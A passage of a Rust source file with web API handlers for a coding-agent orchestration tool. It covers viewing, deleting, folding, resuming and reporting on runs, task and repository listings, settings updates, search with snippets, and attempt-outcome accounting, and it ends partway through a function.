3323fn run_prose_md(state: &RunState) -> RunProseMd {
3325 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3326 RunProseMd {
3327 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3328 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3329 approaches: a
3330 .records
3331 .iter()
3332 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3333 .collect(),
3334 }),
3335 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3336 reviews_md: state
3337 .reviews
3338 .iter()
3339 .map(|round| RoundMd {
3340 reviewers: round
3341 .reviews
3342 .iter()
3343 .map(|rec| ReviewerMd {
3344 summary: nodes(&rec.summary),
3345 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3346 })
3347 .collect(),
3348 reconsideration: round
3349 .reconsideration
3350 .iter()
3351 .map(|rv| nodes(&rv.reason))
3352 .collect(),
3353 fix: round.fix.as_ref().map(|fix| FixMd {
3354 notes: nodes(&fix.notes),
3355 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3356 }),
3357 })
3358 .collect(),
3359 }
3360}
3361
3362impl RunDetailView {
3363 fn of(
3364 state: RunState,
3365 waiting: bool,
3366 live: crate::run::Liveness,
3367 superseded_by: Option<String>,
3368 latest_attempt: Option<LatestAttempt>,
3369 task: Option<TaskRef>,
3370 ) -> Self {
3371 let display_status = run_display_status(&state, waiting, live);
3372 let stop_reason = crate::stop_reason::of(
3373 &state,
3374 latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
3375 );
3376 Self {
3377 stop_reason,
3378 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3379 prose_md: run_prose_md(&state),
3380 origin_label: crate::run::origin_label(state.origin.as_ref()),
3381 live,
3382 unmerged_by_design: state.unmerged_by_design(),
3383 waiting,
3384 display_status,
3385 done: state.status.done(),
3386 superseded_by,
3387 latest_attempt,
3388 task,
3389 state,
3390 }
3391 }
3392}
3393
3394async fn run_detail(
3395 State(ui): State<Arc<Ui>>,
3396 Path(id): Path<String>,
3397) -> ApiResult<Json<RunDetailView>> {
3398 blocking(move || {
3399 let id = resolve_run(&ui.runs, &id)?;
3400 let state = read_run(&ui.runs, &id)?;
3401 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3402 let live = state.liveness(daemon_claims);
3403 let waiting = !ui.questions.open_for(&id).is_empty();
3404 let superseded_by = state
3405 .pr_taken_over_by
3406 .clone()
3407 .or_else(|| ui.queue.superseded_by(&id))
3408 .as_deref()
3409 .map(crate::run::short_of)
3410 .map(str::to_owned);
3411 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3415 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3416 short: head.short().to_owned(),
3417 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3418 status: head.status,
3419 done: head.status.done(),
3420 id: head.id,
3421 })
3422 });
3423 let max_attempts = daemon::Opts::default().max_attempts;
3424 let task = ui
3425 .queue
3426 .list()
3427 .into_iter()
3428 .find(|t| t.runs.contains(&id))
3429 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3430 Ok(Json(RunDetailView::of(
3431 state,
3432 waiting,
3433 live,
3434 superseded_by,
3435 latest_attempt,
3436 task,
3437 )))
3438 })
3439 .await
3440}
3441
3442async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3451 let (id, unreadable) = {
3452 let ui = Arc::clone(&ui);
3453 blocking(move || {
3454 let id = resolve_run(&ui.runs, &id)?;
3455 match read_run(&ui.runs, &id) {
3456 Ok(state) => {
3457 let in_flight =
3458 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3459 state
3460 .ensure_can_delete(in_flight)
3461 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3462 let dir = ui.runs.join(&id);
3463 std::fs::remove_dir_all(&dir)
3464 .with_context(|| format!("remove run directory {}", dir.display()))?;
3465 Ok((id, false))
3466 }
3467 Err(_) => {
3468 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3472 return Err(ApiError::conflict(format!(
3473 "run {id} is being worked on by a live daemon right now"
3474 )));
3475 }
3476 Ok((id, true))
3477 }
3478 }
3479 })
3480 .await?
3481 };
3482 if unreadable {
3483 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3484 .await
3485 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3486 }
3487 let ui = Arc::clone(&ui);
3488 let done = id.clone();
3489 blocking(move || {
3490 ui.questions.abandon_for_run(
3493 &done,
3494 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3495 )?;
3496 Ok(())
3497 })
3498 .await?;
3499 Ok(StatusCode::NO_CONTENT)
3500}
3501
3502async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3526 let (id, state) = {
3527 let ui = Arc::clone(&ui);
3528 blocking(move || {
3529 let id = resolve_run(&ui.runs, &id)?;
3530 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3531 return Err(ApiError::conflict(format!(
3532 "run {id} is being worked on by a live daemon right now"
3533 )));
3534 }
3535 let state = read_run(&ui.runs, &id).ok();
3536 Ok((id, state))
3537 })
3538 .await?
3539 };
3540 let removed = match state {
3541 Some(mut state) => {
3542 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3543 .await
3544 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3545 if removed.is_empty() {
3550 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3551 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3552 }
3553 removed
3554 }
3555 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3556 .await
3557 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3558 };
3559 Ok(Json(FoldView {
3560 run: id,
3561 removed_count: removed.len(),
3562 removed,
3563 }))
3564}
3565
3566#[derive(Debug, Serialize)]
3568struct FoldView {
3569 run: String,
3570 removed: Vec<String>,
3572 removed_count: usize,
3573}
3574
3575#[derive(Debug, Deserialize)]
3578struct FoldMergedBody {
3579 #[serde(default)]
3580 pr_url: String,
3581}
3582
3583async fn run_fold_merged(
3603 State(ui): State<Arc<Ui>>,
3604 Path(id): Path<String>,
3605 Json(body): Json<FoldMergedBody>,
3606) -> ApiResult<Json<FoldMergedView>> {
3607 let pr_url = body.pr_url.trim().to_owned();
3608 if pr_url.is_empty() {
3609 return Err(ApiError::bad_request("pr_url is required"));
3610 }
3611 let (id, mut state) = {
3612 let ui = Arc::clone(&ui);
3613 blocking(move || {
3614 let id = resolve_run(&ui.runs, &id)?;
3615 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3616 return Err(ApiError::conflict(format!(
3617 "run {id} is being worked on by a live daemon right now"
3618 )));
3619 }
3620 let state = read_run(&ui.runs, &id)?;
3621 Ok((id, state))
3622 })
3623 .await?
3624 };
3625 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3626 .await
3627 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3628 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3629 .await
3630 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3631 Ok(Json(FoldMergedView {
3632 run: id,
3633 before: before.as_str().to_owned(),
3634 after: after.as_str().to_owned(),
3635 removed,
3636 }))
3637}
3638
3639#[derive(Debug, Serialize)]
3641struct FoldMergedView {
3642 run: String,
3643 before: String,
3645 after: String,
3647 removed: Vec<String>,
3649}
3650
3651async fn run_resume(
3671 State(ui): State<Arc<Ui>>,
3672 Path(id): Path<String>,
3673) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3674 let (id, state) = {
3675 let ui = Arc::clone(&ui);
3676 blocking(move || {
3677 let id = resolve_run(&ui.runs, &id)?;
3678 let state = read_run(&ui.runs, &id)?;
3679 Ok((id, state))
3680 })
3681 .await?
3682 };
3683 if let Some(to) = state
3684 .pr_taken_over_by
3685 .as_ref()
3686 .or(state.released_to.as_ref())
3687 {
3688 return Err(ApiError::conflict(format!(
3689 "run {} can no longer be resumed: its pull request or worktree ownership moved to run {}.",
3690 state.short(),
3691 crate::run::short_of(to)
3692 )));
3693 }
3694 if !state.status.resumable() {
3695 return Err(ApiError::conflict(format!(
3696 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3697 state.short(),
3698 status_word(state.status)
3699 )));
3700 }
3701 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3706 .into_iter()
3707 .next()
3708 {
3709 return Err(ApiError::conflict(format!(
3710 "the loop is running run {} right now; stop it first, or wait for \
3711 it to finish, before resuming a run by hand.",
3712 crate::run::short_of(&work.run)
3713 )));
3714 }
3715 let _resume = ui.begin_resume(&id)?;
3716
3717 let queued = RunSummary::of(
3720 &state,
3721 !ui.questions.open_for(&id).is_empty(),
3722 state.liveness(false),
3723 );
3724 let run = id.clone();
3725 tokio::spawn(async move {
3726 let _resume = _resume;
3727 match crate::graph::Runner::resume(&run) {
3728 Ok(mut runner) => {
3729 if let Err(e) = runner.execute().await {
3730 tracing::warn!("resume of run {run} stopped: {e:#}");
3731 }
3732 }
3733 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3736 }
3737 });
3738 Ok((StatusCode::ACCEPTED, Json(queued)))
3739}
3740
3741async fn run_report(
3742 State(ui): State<Arc<Ui>>,
3743 Path(id): Path<String>,
3744) -> ApiResult<impl IntoResponse> {
3745 let text = blocking(move || {
3746 let id = resolve_run(&ui.runs, &id)?;
3747 let state = read_run(&ui.runs, &id)?;
3751 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3752 let live = state.liveness(daemon_claims);
3753 Ok(format!(
3754 "{}{}",
3755 report::run(&state),
3756 report::active_seats(&state, live)
3757 ))
3758 })
3759 .await?;
3760 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3761}
3762
3763async fn run_report_json(
3767 State(ui): State<Arc<Ui>>,
3768 Path(id): Path<String>,
3769) -> ApiResult<Json<crate::report_view::RunReportView>> {
3770 let view = blocking(move || {
3771 let id = resolve_run(&ui.runs, &id)?;
3772 let state = read_run(&ui.runs, &id)?;
3773 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3774 Ok(crate::report_view::build(
3775 &state,
3776 state.liveness(daemon_claims),
3777 ))
3778 })
3779 .await?;
3780 Ok(Json(view))
3781}
3782
3783#[derive(Debug, Serialize)]
3789struct TaskView {
3790 #[serde(flatten)]
3791 task: Task,
3792 source_label: String,
3793 source_link: Option<SourceLink>,
3794 status_str: &'static str,
3795 instruction_md: Vec<md::Node>,
3799 waits_on: Vec<String>,
3803 stuck_roots: Vec<String>,
3806}
3807
3808impl From<Task> for TaskView {
3809 fn from(task: Task) -> Self {
3810 Self {
3811 source_label: task.source.label(),
3812 source_link: source_link(&task.source),
3813 status_str: task.status.as_str(),
3814 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3815 waits_on: Vec::new(),
3816 stuck_roots: Vec::new(),
3817 task,
3818 }
3819 }
3820}
3821
3822impl TaskView {
3823 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3824 let waits_on = inv.waits_on(&task);
3825 let stuck_roots = inv
3826 .stuck_roots(&task)
3827 .iter()
3828 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3829 .collect();
3830 Self {
3831 waits_on,
3832 stuck_roots,
3833 ..Self::from(task)
3834 }
3835 }
3836}
3837
3838#[derive(Debug, Default, Deserialize)]
3841#[serde(default)]
3842struct ReposQuery {
3843 refresh: u8,
3844}
3845
3846async fn repos_list(
3853 State(ui): State<Arc<Ui>>,
3854 Query(q): Query<ReposQuery>,
3855) -> ApiResult<Json<Vec<repos::Repo>>> {
3856 let refresh = q.refresh != 0;
3857 blocking(move || {
3858 let (cfg, _) = Config::discover(&ui.repo, None)?;
3859 Ok(Json(ui.repos_cache.list(
3860 &cfg.repos.roots,
3861 Duration::from_secs(cfg.repos.scan_ttl),
3862 refresh,
3863 )))
3864 })
3865 .await
3866}
3867
3868#[derive(Debug, Default, Deserialize)]
3870struct SettingsQuery {
3871 repo: Option<PathBuf>,
3872}
3873
3874fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
3878 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
3879 let paths: Vec<PathBuf> = ui
3880 .machine_config
3881 .iter()
3882 .filter(|p| p.is_file())
3883 .cloned()
3884 .collect();
3885 if paths.is_empty() {
3886 Ok(Config::autodetected())
3887 } else {
3888 Config::load_layers(&paths)
3889 }
3890 });
3891 let mut known = cfg
3892 .map(|cfg| {
3893 ui.repos_cache.list(
3894 &cfg.repos.roots,
3895 Duration::from_secs(cfg.repos.scan_ttl),
3896 refresh,
3897 )
3898 })
3899 .unwrap_or_default();
3900 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
3901 if !known.iter().any(|r| r.path == path) {
3902 known.push(repos::Repo {
3903 name: path
3904 .file_name()
3905 .unwrap_or_default()
3906 .to_string_lossy()
3907 .into_owned(),
3908 path,
3909 });
3910 }
3911 known
3912}
3913
3914fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
3915 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
3916 let canonical = requested.canonicalize().ok();
3917 let mut known = settings_repositories(ui, false);
3918 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
3919 if !known.iter().any(matches) {
3920 known = settings_repositories(ui, true);
3921 }
3922 let repo = known
3923 .iter()
3924 .find(|r| matches(r))
3925 .map(|r| r.path.clone())
3926 .ok_or_else(|| ApiError {
3927 status: StatusCode::UNPROCESSABLE_ENTITY,
3928 message: "Choose a known repository from the Settings selector.".to_owned(),
3929 })?;
3930 Ok((repo, known))
3931}
3932
3933async fn settings_get(
3937 State(ui): State<Arc<Ui>>,
3938 Query(q): Query<SettingsQuery>,
3939) -> ApiResult<Json<settings::SettingsView>> {
3940 blocking(move || {
3941 let (repo, known) = settings_context(&ui, q)?;
3942 Ok(Json(settings::view_with_repos(
3943 &repo,
3944 ui.machine_config.as_deref(),
3945 &known,
3946 )))
3947 })
3948 .await
3949}
3950
3951#[derive(Debug, Deserialize)]
3953#[serde(deny_unknown_fields)]
3954struct RolesBody {
3955 revision: String,
3957 #[serde(default)]
3959 roles: std::collections::BTreeMap<String, Vec<String>>,
3960 #[serde(default)]
3964 counts: std::collections::BTreeMap<String, serde_json::Value>,
3965}
3966
3967async fn settings_put_roles(
3973 State(ui): State<Arc<Ui>>,
3974 Query(q): Query<SettingsQuery>,
3975 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3976) -> ApiResult<Json<settings::SettingsView>> {
3977 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3978 blocking(move || {
3979 let (repo, known) = settings_context(&ui, q)?;
3980 settings::save_with_repos(
3981 &repo,
3982 ui.machine_config.as_deref(),
3983 &body.revision,
3984 &body.roles,
3985 &body.counts,
3986 &known,
3987 )
3988 .map(Json)
3989 .map_err(|e| match e {
3990 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3991 settings::SaveError::Refused(m) => ApiError {
3992 status: StatusCode::UNPROCESSABLE_ENTITY,
3993 message: m,
3994 },
3995 settings::SaveError::Internal(m) => ApiError::internal(m),
3996 })
3997 })
3998 .await
3999}
4000
4001async fn queue_list(
4002 State(ui): State<Arc<Ui>>,
4003 Query(q): Query<ListQuery>,
4004) -> ApiResult<Json<Vec<TaskView>>> {
4005 blocking(move || {
4006 let tasks = ui.queue.list();
4007 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
4008 Ok(Json(
4009 tasks
4010 .into_iter()
4011 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4012 .map(|t| TaskView::with_inventory(t, &inv))
4013 .collect(),
4014 ))
4015 })
4016 .await
4017}
4018
4019const SEARCH_MAX_HITS: usize = 100;
4021const SEARCH_MAX_QUERY: usize = 200;
4023const SEARCH_MAX_TERMS: usize = 8;
4024const SNIPPET_BEFORE: usize = 50;
4026const SNIPPET_AFTER: usize = 110;
4027
4028#[derive(Debug, Deserialize)]
4030struct SearchQuery {
4031 #[serde(default)]
4032 scope: String,
4033 #[serde(default)]
4034 q: String,
4035}
4036
4037#[derive(Debug, Serialize, PartialEq, Eq)]
4040struct SnippetPart {
4041 text: String,
4042 hit: bool,
4043}
4044
4045#[derive(Debug, Serialize)]
4046struct SearchHit {
4047 id: String,
4048 field: String,
4050 snippet: Vec<SnippetPart>,
4051 #[serde(skip_serializing_if = "Option::is_none")]
4055 run: Option<RunSummary>,
4056}
4057
4058#[derive(Debug, Serialize)]
4059struct SearchView {
4060 scope: String,
4061 q: String,
4062 hits: Vec<SearchHit>,
4064 total: usize,
4066 truncated: bool,
4067 unreadable: usize,
4070}
4071
4072fn text_leaves<'a>(
4075 value: &'a serde_json::Value,
4076 field: &'a str,
4077 out: &mut Vec<(&'a str, &'a str)>,
4078) {
4079 match value {
4080 serde_json::Value::String(s) => out.push((field, s)),
4081 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4082 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4083 _ => {}
4084 }
4085}
4086
4087fn fold_char(c: char) -> char {
4090 c.to_lowercase().next().unwrap_or(c)
4091}
4092
4093fn search_terms(q: &str) -> Vec<String> {
4095 let mut terms: Vec<String> = Vec::new();
4096 for t in q.split_whitespace() {
4097 let t = t.to_lowercase();
4098 if !terms.contains(&t) {
4099 terms.push(t);
4100 }
4101 }
4102 terms
4103}
4104
4105fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4108 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4109 let mut first: Option<usize> = None;
4110 for term in terms {
4111 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4112 first = Some(first.map_or(at, |f| f.min(at)));
4113 }
4114 let (field, text) = leaves[first?];
4116 Some(SearchHit {
4117 id: String::new(),
4118 field: field.to_owned(),
4119 snippet: snippet_of(text, terms),
4120 run: None,
4121 })
4122}
4123
4124fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
4127 let chars: Vec<char> = text.chars().collect();
4128 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
4129 let needles: Vec<Vec<char>> = terms
4130 .iter()
4131 .map(|t| t.chars().map(fold_char).collect())
4132 .collect();
4133 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
4134 let mut best: Option<(usize, usize)> = None;
4135 for n in needles.iter().filter(|n| !n.is_empty()) {
4136 if n.len() > chars.len() || to == 0 {
4140 continue;
4141 }
4142 let last = (to - 1).min(chars.len() - n.len());
4143 if from > last {
4144 continue;
4145 }
4146 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4147 && best.is_none_or(|(b, _)| i < b)
4148 {
4149 best = Some((i, i + n.len()));
4150 }
4151 }
4152 best
4153 };
4154 let Some((start, _)) = find(0, chars.len()) else {
4155 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4157 return vec![SnippetPart {
4158 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4159 hit: false,
4160 }];
4161 };
4162 let lo = start.saturating_sub(SNIPPET_BEFORE);
4163 let hi = (start + SNIPPET_AFTER).min(chars.len());
4164 let mut parts: Vec<SnippetPart> = Vec::new();
4165 let mut push = |s: &[char], hit: bool| {
4166 if s.is_empty() {
4167 return;
4168 }
4169 let text: String = s.iter().collect();
4170 match parts.last_mut() {
4171 Some(p) if p.hit == hit => p.text.push_str(&text),
4172 _ => parts.push(SnippetPart { text, hit }),
4173 }
4174 };
4175 if lo > 0 {
4176 push(&['\u{2026}'], false);
4177 }
4178 let mut at = lo;
4179 while at < hi {
4180 match find(at, hi) {
4181 Some((s, e)) => {
4182 push(&chars[at..s], false);
4183 let shown = e.min(hi);
4185 push(&chars[s..shown], true);
4186 at = shown;
4187 }
4188 None => {
4189 push(&chars[at..hi], false);
4190 at = hi;
4191 }
4192 }
4193 }
4194 if hi < chars.len() {
4195 push(&['\u{2026}'], false);
4196 }
4197 let mut prev_space = false;
4200 for p in &mut parts {
4201 let mut out = String::with_capacity(p.text.len());
4202 for c in p.text.chars() {
4203 if c.is_whitespace() {
4204 if !prev_space {
4205 out.push(' ');
4206 }
4207 prev_space = true;
4208 } else {
4209 out.push(c);
4210 prev_space = false;
4211 }
4212 }
4213 p.text = out;
4214 }
4215 parts.retain(|p| !p.text.is_empty());
4216 parts
4217}
4218
4219fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4221where
4222 I: IntoIterator<Item = (String, serde_json::Value)>,
4223{
4224 for (id, doc) in docs {
4225 let mut leaves = Vec::new();
4226 leaves.push(("id", id.as_str()));
4229 text_leaves(&doc, "", &mut leaves);
4230 if let Some(mut hit) = search_document(terms, &leaves) {
4231 view.total += 1;
4232 if view.hits.len() < SEARCH_MAX_HITS {
4233 hit.id = id;
4234 view.hits.push(hit);
4235 }
4236 }
4237 }
4238 view.truncated = view.total > view.hits.len();
4239}
4240
4241fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4248 let opener = talk
4249 .turns
4250 .iter()
4251 .find(|t| t.who == crate::talk::Who::Operator)
4252 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4253 .unwrap_or("");
4254 let title: String = if opener.chars().count() > 96 {
4255 opener.chars().take(95).chain(['\u{2026}']).collect()
4256 } else {
4257 opener.to_owned()
4258 };
4259 let turns: Vec<serde_json::Value> = talk
4260 .turns
4261 .iter()
4262 .map(|t| {
4263 let who = match t.who {
4264 crate::talk::Who::Operator => "operator",
4265 crate::talk::Who::Agent => "agent",
4266 };
4267 serde_json::json!({ who: t.body })
4268 })
4269 .collect();
4270 serde_json::json!({ "title": title, "turns": turns })
4271}
4272
4273async fn search_get(
4280 State(ui): State<Arc<Ui>>,
4281 Query(q): Query<SearchQuery>,
4282) -> ApiResult<Json<SearchView>> {
4283 let query = q.q.trim().to_owned();
4284 if query.is_empty() {
4285 return Err(ApiError::bad_request("q must not be empty"));
4286 }
4287 if query.chars().count() > SEARCH_MAX_QUERY {
4288 return Err(ApiError::bad_request(format!(
4289 "q is longer than {SEARCH_MAX_QUERY} characters"
4290 )));
4291 }
4292 let terms = search_terms(&query);
4293 if terms.len() > SEARCH_MAX_TERMS {
4294 return Err(ApiError::bad_request(format!(
4295 "q has more than {SEARCH_MAX_TERMS} terms"
4296 )));
4297 }
4298 let scope = q.scope;
4299 if scope != "runs" && scope != "tasks" && scope != "chats" {
4300 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4301 }
4302 blocking(move || {
4303 let mut view = SearchView {
4304 scope: scope.clone(),
4305 q: query,
4306 hits: Vec::new(),
4307 total: 0,
4308 truncated: false,
4309 unreadable: 0,
4310 };
4311 if scope == "runs" {
4312 let mut unreadable = 0;
4313 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4317 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4318 match body.and_then(|b| serde_json::from_str(&b).ok()) {
4319 Some(v) => Some((id, v)),
4320 None => {
4321 unreadable += 1;
4322 None
4323 }
4324 }
4325 });
4326 search_docs(&terms, docs, &mut view);
4327 view.unreadable = unreadable;
4328 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4331 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4332 for hit in &mut view.hits {
4333 if let Ok(state) = read_run(&ui.runs, &hit.id) {
4334 hit.run = summarize(
4335 [state],
4336 &open_runs,
4337 &claimed,
4338 &superseded,
4339 |p| probe.borrow_mut().status(p),
4340 |p| probe.borrow_mut().started_at(p),
4341 )
4342 .pop();
4343 }
4344 }
4345 } else if scope == "chats" {
4346 let (talks, unreadable) = ui.talks.list_counting_unreadable();
4347 view.unreadable = unreadable;
4348 search_docs(
4349 &terms,
4350 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4351 &mut view,
4352 );
4353 } else {
4354 let docs = ui.queue.list().into_iter().filter_map(|t| {
4355 let mut v = serde_json::to_value(&t).ok()?;
4356 if let Some(o) = v.as_object_mut() {
4359 o.insert("filed_by".to_owned(), t.source.label().into());
4360 }
4361 Some((t.id, v))
4362 });
4363 search_docs(&terms, docs, &mut view);
4364 }
4365 Ok(Json(view))
4366 })
4367 .await
4368}
4369
4370#[derive(Debug, Serialize)]
4372struct TaskRunView {
4373 n: usize,
4375 id: String,
4376 short: String,
4377 kind: &'static str,
4379 status: Option<&'static str>,
4381 readable: bool,
4383 provisional: bool,
4385 description: String,
4387 outcome: String,
4389 created_at: Option<Timestamp>,
4390 pr: Option<String>,
4391 exit: RunExit,
4393 attempt: AttemptCost,
4395 branch: Option<String>,
4397}
4398
4399#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4401#[serde(rename_all = "snake_case")]
4402enum RunExit {
4403 Unreadable,
4404 Interrupted,
4406 Parked,
4407 QuotaStall,
4408 ResumedQuotaStall,
4412 Merged,
4413 Ready,
4414 Superseded,
4415 AlreadyInBase,
4418 Stalled,
4420 HeldWithPr,
4422 NoopHeld,
4423 Spent,
4425 InProgress,
4426}
4427
4428#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4429#[serde(rename_all = "snake_case")]
4430enum AttemptCost {
4431 Spent,
4432 Refunded,
4433 None,
4434 Unknown,
4436}
4437
4438impl RunExit {
4439 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4440 let Some(s) = s else {
4441 return Self::Unreadable;
4442 };
4443 let status = s.status;
4444 if resumed_later {
4445 Self::Interrupted
4446 } else if s.parked {
4447 Self::Parked
4448 } else if !status.done() {
4449 Self::InProgress
4450 } else if matches!(status, RunStatus::Merged) {
4451 Self::Merged
4452 } else if matches!(status, RunStatus::Ready) {
4453 Self::Ready
4454 } else if matches!(status, RunStatus::Superseded) {
4455 Self::Superseded
4456 } else if matches!(status, RunStatus::AlreadyInBase) {
4457 Self::AlreadyInBase
4458 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4459 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4460 {
4461 if resumed {
4462 Self::ResumedQuotaStall
4463 } else {
4464 Self::QuotaStall
4465 }
4466 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4467 Self::HeldWithPr
4468 } else if matches!(status, RunStatus::VerifiedNoop) {
4469 Self::NoopHeld
4470 } else if matches!(status, RunStatus::Stalled) {
4471 Self::Stalled
4472 } else {
4473 Self::Spent
4474 }
4475 }
4476
4477 fn cost(self) -> AttemptCost {
4478 match self {
4479 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4480 Self::Merged
4481 | Self::Ready
4482 | Self::Stalled
4483 | Self::HeldWithPr
4484 | Self::NoopHeld
4485 | Self::Spent => AttemptCost::Spent,
4486 Self::InProgress => AttemptCost::None,
4487 Self::AlreadyInBase => AttemptCost::Refunded,
4488 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4489 AttemptCost::Unknown
4490 }
4491 }
4492 }
4493
4494 fn edge_label(self, status: Option<&str>) -> String {
4496 match self {
4497 Self::Unreadable => "record unreadable".to_owned(),
4498 Self::Interrupted => "interrupted before the run finished".to_owned(),
4499 Self::Parked => "parked, attempt refunded".to_owned(),
4500 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4501 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4502 Self::Merged => "merged".to_owned(),
4503 Self::Ready => "ready, not merged".to_owned(),
4504 Self::Superseded => "superseded by a later attempt".to_owned(),
4505 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4506 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4507 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4508 Self::NoopHeld => "verified no-op".to_owned(),
4509 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4510 Self::InProgress => "in progress".to_owned(),
4511 }
4512 }
4513
4514 fn explains(self, end: TaskStatus) -> bool {
4517 match self {
4518 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4519 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4520 Self::Unreadable | Self::Superseded | Self::Ready => true,
4521 _ => end != TaskStatus::Done,
4522 }
4523 }
4524}
4525
4526#[derive(Debug, Serialize)]
4528struct TaskDetailView {
4529 #[serde(flatten)]
4530 task: TaskView,
4531 max_attempts: usize,
4534 history: Vec<TaskRunView>,
4535 flow: FlowView,
4536 followup_origin: Option<FollowUpOrigin>,
4538 runs_unreadable: usize,
4540 attempts_note: &'static str,
4542}
4543
4544const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4545and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4546on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
4547in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
4548
4549fn review_branch_of(instruction: &str) -> Option<&str> {
4552 let rest = instruction.strip_prefix("Review the work already on branch `")?;
